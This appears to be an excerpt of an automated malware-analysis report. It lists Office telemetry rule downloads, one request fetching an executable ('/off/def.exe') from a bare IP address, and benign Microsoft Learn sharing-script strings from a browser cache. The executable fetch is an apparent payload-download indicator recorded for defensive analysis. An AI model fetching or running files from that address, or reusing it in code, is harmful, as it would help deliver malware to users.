Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_113.8.dr, chromecache_125.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
